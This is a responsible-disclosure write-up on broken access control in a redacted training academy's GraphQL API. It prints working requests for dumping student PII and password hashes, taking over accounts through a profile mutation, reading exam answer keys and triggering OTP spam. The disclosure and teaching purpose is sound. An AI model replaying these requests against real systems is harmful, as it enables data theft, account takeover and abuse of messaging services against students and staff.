How I Hacked a Cybersecurity Training Academy
A responsible disclosure write-up covering broken access control and data exposure in a cybersecurity training academy GraphQL API.
How I Hacked a Cybersecurity Training Academy!
Note on redaction & responsible disclosure This write-up is educational. To respect the vendor I have deliberately redacted the organisation's name, all hostnames/URLs, internal identifiers, secrets, tokens, student PII and specific media links. I refer to the target only as "the Academy" and use placeholder domains such as
academy.example/<mgmt-host>. The findings below were reported through the Responsible Disclosure Programme and remain subject to its disclosure policy.
Summary
A commercial cybersecurity training academy — a company whose entire business is teaching people how to secure software web apps (and which also sells cybersecurity services to other orgs) — shipped an admin API that trusted any logged‑in student. With a free, unverified learner account I could:
- Dump every student's full name, email, phone, DOB, address, guardian details and bcrypt password hash (~2,200 records) from a single GraphQL query.
- Read every paying student's financial records (course fees, discounts, outstanding EMIs, invoices) — and 47 trainers/coaches' names, emails and phone numbers.
- Take over any account by overwriting its email + password through an admin mutation
(
updateStudentProfile) — full account takeover, victim permanently locked out. - Reach the entire admin mutation surface (52 mutations): grades, attendance, certificates, cohorts, classes, payments, course assignments.
- Read the exam question banks including the correct
answerfields, students' uploaded CVs, signed consent forms, support tickets and the full sales/leads pipeline. - Trigger OTP emails and SMS to arbitrary recipients using the Academy's own mail/SMS gateways, plus a hardcoded API secret in their frontend bundle — and they provide cybersecurity content btw. 🔥
- Enumerate which emails have accounts and read cohorts, class schedules, Google Meet joining links and recorded lecture links for courses I was never enrolled in — some of the recordings were stored on publicly shared Google Drive.
Root cause in one line: the application used "is there a JWT?" as its authorization decision, and mounted its admin GraphQL schema on the same consumer endpoint.
Recon
well as usual i did:
Public subdomain enumeration (subfinder + certificate transparency) surfaced a small estate:
management.<redacted>— the admin/management platformlearning.<redacted>— the student portal (Vite + React SPA)leads.<redacted>— lead capture + OTP service- plus
certificate,events,seo,staging,community,oldlms,blog, ...
The web tier sat behind a gateway that routed on path prefixes to three microservices:
ams/auth-servicecms/course-management-servicesms/student-management-service
The student portal's JavaScript bundle revealed the primary API surface:
# Public (no auth)
/sms/student-management-service/api/v1/public/student-access/{register,login,...}
# JWT-secured GraphQL
/sms/student-management-service/api/v1/jwt-secured/student-access/gql-entry
# Realtime
wss://<mgmt-host>/sms/subscription-entry
# Leads
https://<leads-host>/dsa_admin/api/v2/*The frontend also exposed the full admin query/mutation vocabulary, which was the first hint that the admin GraphQL schema was one token away.
Getting account access
Registration required no email or phone verification. The account was created and active immediately, and the response even returned a valid token:
POST /sms/student-management-service/api/v1/public/student-access/register HTTP/2
Host: <mgmt-host>
Origin: https://learning.<redacted>
Content-Type: application/json
{
"name": "Researcher",
"email": "researcher@example.com",
"password": "Test@12345",
"phoneNumber": "9999999999",
"phoneNumberPrefix": "+91",
"dateOfBirth": "2000-01-01",
"role": "learner"
}POST /sms/student-management-service/api/v1/public/student-access/login HTTP/2
Host: <mgmt-host>
Content-Type: application/json
{"usernameEmail":"researcher@example.com","password":"Test@12345","deviceId":"any-device"}The login response returns a Bearer JWT. That token is the only thing needed for everything that follows.
Student data exposure
The JWT‑secured endpoint exposes an admin GraphQL schema called
OrganizationAccessQueries / OrganizationMutations. A learner token was accepted for all
of it.
One query returned the entire userbase — including the bcrypt password column:
query {
students(page: 1, offset: 50) {
count
students {
_id
name
role
password # <-- bcrypt hash, straight out of the DB
contact { email phoneNumber }
}
}
}Response (trimmed, values fabricated for the blog):
{
"data": {
"students": {
"count": "22xx",
"students": [
{
"_id": "6a........................",
"name": "Jane Student",
"role": "learner",
"password": "$2a$12$FAKEHASHFAKEHASHFAKEHASHFAKEHASHFAKEHASHFAKE",
"contact": { "email": "jane@example.com", "phoneNumber": "9000000000" }
}
]
}
}
}Adjusting page/offset paginated through the entire student table. After removing
test/junk/internal accounts the dataset is 2,176 genuine learner accounts (2,118 unique
individuals once duplicate phone numbers are collapsed). Every record included name, email,
phone, address, guardian details, DOB, gender and blood group. This is a full personal-data
breach (GDPR/DPDP territory) plus an offline credential‑cracking goldmine (bcrypt hashes →
credential stuffing elsewhere).
The same password column is also returned by the generic user query, so the leak isn't
limited to the students resolver:
query { user { _id name username password contact { email phoneNumber } } }Other admin reads reachable with the same learner token:
totalStudentsCount→ total user countstudentByEmail(email)→ phone + email +_idfor any addressstudentPaymentsByStudentId(studentId)→ course amount, discount, outstanding EMI, payment IDsstudentLogs(studentId)→ internal admin activity historystudentReport/studentCourseReport→ academic/grade reportsleads,invoices,certificates,supportRequests, ...
GraphQL introspection was also enabled, so the whole schema could be enumerated:
query { __schema { queryType { name } mutationType { name } } }
# -> queryType: OrganizationAccessQueries
# mutationType: OrganizationMutationsAccount takeover
The updateStudentProfile mutation takes studentId, email and password directly from
the caller and performs no ownership check:
mutation {
updateStudentProfile(
studentId: "<ANY_STUDENT_ID>"
email: "attacker@example.com"
password: "Attacker1!"
) { message }
}Response:
{ "data": { "updateStudentProfile": { "message": "Profile updated successfully" } } }The attacker then simply logs in with the attacker‑chosen credentials:
POST /sms/student-management-service/api/v1/public/student-access/login
{"usernameEmail":"attacker@example.com","password":"Attacker1!","deviceId":"pwn-dev"}→ valid token for the victim's account. The real user is locked out, and the attacker inherits the victim's courses, certificates and future password‑reset emails.
In my test I only ever performed this against accounts I created myself, to prove impact without harming a real user.
Admin actions available to learner accounts
OrganizationMutations exposed 52 admin mutations to the learner token. Introspection
made them enumerable; replaying them showed they reach the resolvers (they only failed on
fake IDs, never with an authorization error). Highlights:
updateStudentProfile createCohort updateCohort
removeCohort createLiveScheduledClass updateLiveScheduledClass
deleteLiveScheduledClass assignCohortToStudents removeStudentFromCourse
markAsDefaulter changeJourneyStage generateCertificate
markAttendance reviewOnProject reviewOnAssignment
submitRemarks confirmStudentPayment createStudentLog
createUpdateNotification upload_final_exam_set assignCourseToStudent
sendEmailVerifyMail giveFeedbackOnClass ...Reachability probes (fake IDs, nothing changed):
mutation { changeJourneyStage(courseJourneyId:"fake", journeyStage:"completed"){ message } }
# -> Cast to ObjectId failed ... model "StudentCourseJourney" (resolver ran, no RBAC)
mutation { generateCertificate(_id:"<fake>", courseId:"<fake>"){ message } }
# -> "Marks Sheet not found"Meaning: with real IDs, a learner could edit grades/attendance, issue certificates, delete cohorts and classes, and manipulate payment state.
Changing a course (the "admin course change" check)
The mutation that reassigns a cohort's course is updateCohort:
mutation {
updateCohort(
_id: "<COHORT_ID>"
course: { _id: "<COURSE_ID>", name: "…", variant: "…" } # BasicCourseInput
cohortName: "…"
) { _id name }
}A learner token reaches the resolver here too:
| Probe (non-destructive) | Response | Interpretation |
|---|---|---|
updateCohort(_id:"fake", …) |
Cast to ObjectId failed … model "Cohort" |
Resolver executed — no role check |
updateCohort(_id:"000…0", …) |
"Cohort not found" |
Hit the DB; no authorization gate |
| same, no token | 401 UNAUTHORIZED |
Auth = "token present", not "admin role" |
So the guard is only "is there a JWT?", never "is this an administrator?". The only reason the course wasn't actually changed is that I deliberately used non‑existent IDs.
Trainer and staff records
The read surface also returned the Academy's internal staff directory. trainersWithReport
(and trainers, coaches, trainerBlockedSchedule) worked with the learner token:
query {
trainersWithReport {
count
trainers {
_id name email phoneNumber phoneNumberPrefix
username location designation
attendedClassesCount trainingMode isBlocked isVerified
courses { ... } modules { ... }
}
}
}What came back — 47 trainer records, every one with:
| Field | Exposure |
|---|---|
name, email, phoneNumber |
Full PII for 47 staff |
username |
Login identifiers |
location, designation, trainingMode |
Org/HR metadata |
attendedClassesCount |
Internal workload metrics |
courses / modules |
Which courses/modules each trainer teaches |
isVerified, isBlocked |
Account state |
Email distribution was a mix of corporate (@<redacted-org> / @<redacted-security>) and
personal Gmail/Outlook addresses. Coaches are exposed the same way via coaches, and each
trainer's blocked/available schedule via trainerBlockedSchedule. This is an HR/people
data leak that feeds highly targeted phishing of the very staff who build the company's
security products.
Leads, sales and support data
The marketing/sales database was readable too:
query { leads { total leads { name email phoneNumber campaign status
requested_course counsellor { ... } enquiryDate } } }
query { supportRequests { count requests { ticketId name email phoneNumber
issueType describe status taggedTo } } }leads/leadsReport→ prospective-student PII (name, email, phone), campaign/source, requested course, assigned counsellor and enquiry dates — i.e. the entire sales funnel.campaigns/sources→ marketing attribution data.supportRequests→ support tickets with customer name, email, phone and the full issue description.getnotifcations/getNotificationsHistory→ internal notifications.
Exam questions and answer keys
Possibly the worst one for an education platform: the assessment content is readable with the correct answers attached:
query {
getMcqQuestions { _id name duration numberOfQuestions passingPoint
questions { question options { ... } answer point difficulty } }
}
query { getQuestionSet { questionSet { questions { question answer options { ... } } } } }
query { getMcqInteractions { _id studentId answers totalScore passingStatus } }The questions.answer field leaks the correct answer to every MCQ, and
final_exam_set { questions { question answer } } does the same for final exams. A learner
could read the entire question bank and answer key and pass any assessment, or leak/leak‑sell
the exams. getMcqInteractions / getMcqInteraction also expose other students' answer
sheets and scores.
Documents and financial records
The admin queries also fronted file storage:
| Query | Type | Exposes |
|---|---|---|
getCv |
GetCV |
studentId, url, size, name — students' uploaded CVs |
getConsent / signOnConsentForm |
consent docs | signed consent/legal forms incl. signature files |
certificates |
CourseCertificate |
studentId, email, course, grade, certificateNumber, pdfUrl, imageUrl |
invoices |
InvoiceType |
name, email, phone, amounts, paymentMode, invoiceUrl |
studentPayments |
StudentPaymentType |
course fee, discount, amount due, EMI schedule |
courseRevenueReport |
— | totalRevenue, per-course revenue |
So every uploaded identity document, CV and invoice PDF is one field away for any learner.
Email OTP requests
Any learner could ask the platform to email an OTP to an arbitrary address with an attacker‑controlled display name, and no rate limiting was observed:
mutation {
sendEmailVerifyMail(<email:"victim@example.com>", name:"Spoofed Name"){ message }
}
# -> { "data": { "sendEmailVerifyMail": { "message": "OTP sent successfully" } } }Impact: newsletter/inbox flooding, domain‑reputation damage, and highly convincing Academy‑branded phishing emails.
Frontend API secret and SMS OTP requests
The public learning‑portal JavaScript bundle contained a hardcoded API secret used to authenticate to the leads service (secret value redacted here):
Secret: $2y$10$[REDACTED_HARDCODED_SECRET]
Found in: https://learning.<redacted>/assets/<bundle>.js (public, no auth)With it, an attacker could ask the leads service to generate an SMS OTP for any number:
POST /dsa_admin/api/v2/form-data-otp-get HTTP/2
Host: <leads-host>
Authorization: $2y$10$<REDACTED>
Content-Type: application/json
{"phone":"7777777777","phone_prefix":"+91"}{"status":1,"msg_id":"8758347777781634"}The validate endpoint was reachable too (returning "Otp is incorrect" on a wrong code). Effect: SMS‑spam to arbitrary numbers on the Academy's dime, and potential OTP brute‑forcing.
During revalidation the endpoint accepted an invalid Authorization value as well — i.e. the secret was effectively not enforced — which is worse, not better.
Account enumeration
The password‑reset flow trivially revealed whether an account exists:
POST /sms/student-management-service/api/v1/public/student-access/reset-password-request
{"email":"real@example.com"} -> 200 "Reset password mail sent successfully"
{"email":"nope@example.com"} -> 404 "User not found"Tri‑state behaviour also existed on /register and /login ("User not found"). No rate
limit → victim mailbox spamming and phishing‑target harvesting.
CORS configuration
Every API response, including errors, carried:
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETEAny website could make cross‑origin calls to the API, widening the blast radius of the other findings.
Internal error details
Passing a junk token to reset-new-password produced a verbose Node.js/crypto error:
{
"data": null,
"message": "The first argument must be of type string or an instance of Buffer, ... Received undefined",
"error": { "code": "ERR_INVALID_ARG_TYPE" },
"status": "INTERNAL_SERVER_ERROR",
"statusCode": 500
}A JWT‑shaped token produced ERR_CRYPTO_INVALID_IV, confirming reset tokens are AES‑encrypted
values whose internals leak — useful for stack fingerprinting and bug triage.
Course and cohort content
This wasn't in the original brief, but while mapping the schema I found that the same learner
token could enumerate all ~330 cohorts and, for any cohort, retrieve the class
schedule, Google Meet joiningLink, and recordedLink — for courses the account was never
enrolled in.
query { cohorts { count cohorts { _id name cohortCode course { _id } } } }
query {
getLiveScheduledClassesByCohortId(_id:"<COHORT_ID>") {
_id name classStatus
joiningLink
recordedLink
}
}Findings:
- Live Google Meet links for ongoing classes were exposed to anyone.
- Completed‑class
recordedLinks pointed at publicly shared Google Drive recordings — i.e. paywalled lecture content was world‑readable to anyone with the link, and the link was handed to every learner token.
This is a classic BOLA/IDOR on cohort content that turns a paid course catalogue into a free one.
Impact summary
- Full personal‑data breach of ~2,176 students (~2,118 unique individuals) — PII + bcrypt hashes — and 47 trainers/coaches (name, email, phone).
- Account takeover of any student or trainer in minutes — irreversible lockout.
- Integrity loss: grades, attendance, certificates, cohorts, classes and payment state all writable by any student.
- Exam compromise: full MCQ/final‑exam question banks with answer keys readable.
- Sensitive document exposure: CVs, signed consent forms, certificates and invoices.
- Sales/marketing leak: entire leads pipeline, campaigns, support tickets.
- Abuse of platform infrastructure for email/SMS spam and phishing.
- Paid course content exposed (schedules, live meeting links, recorded lectures).
- Credential‑stuffing risk via offline cracking of leaked bcrypt hashes.
For a company that teaches cybersecurity, this is roughly the worst possible finding set: textbook Broken Access Control (OWASP A01) and Authentication/Authorization by JWT presence.
Root causes
- Authorization by authentication. The backend treated a valid JWT as proof of
authorization. The
roleclaim existed but was never enforced server‑side. - Admin schema mounted on the consumer endpoint.
OrganizationAccessQueries/OrganizationMutationswere reachable from the learner GraphQL entry point with no per‑field policy layer. - No object‑level authorization (BOLA/IDOR).
updateStudentProfile,user,trainersWithReport,leads,studentPaymentsByStudentId,studentReport,studentLogs,getCv,getMcqQuestions,updateCohort, cohort content — all keyed purely on client‑supplied IDs or open to everyone. - Sensitive columns serialized.
password(students +user),questions.answer(exams), file URLs (CVs/consent/invoices) all returned by read resolvers. - Secrets in the frontend. A live API secret shipped in a public JS bundle.
- No rate limiting / enumeration‑safe responses.
Privacy and purpose
To protect the privacy of the people and organization involved, I have not included images, screenshots, hostnames, or identifying details. This write-up is intended as a learning note about how much data a GraphQL endpoint can expose when authentication is mistaken for authorization and access controls are not configured properly.
Comments
No comments yet — be the first to share your thoughts.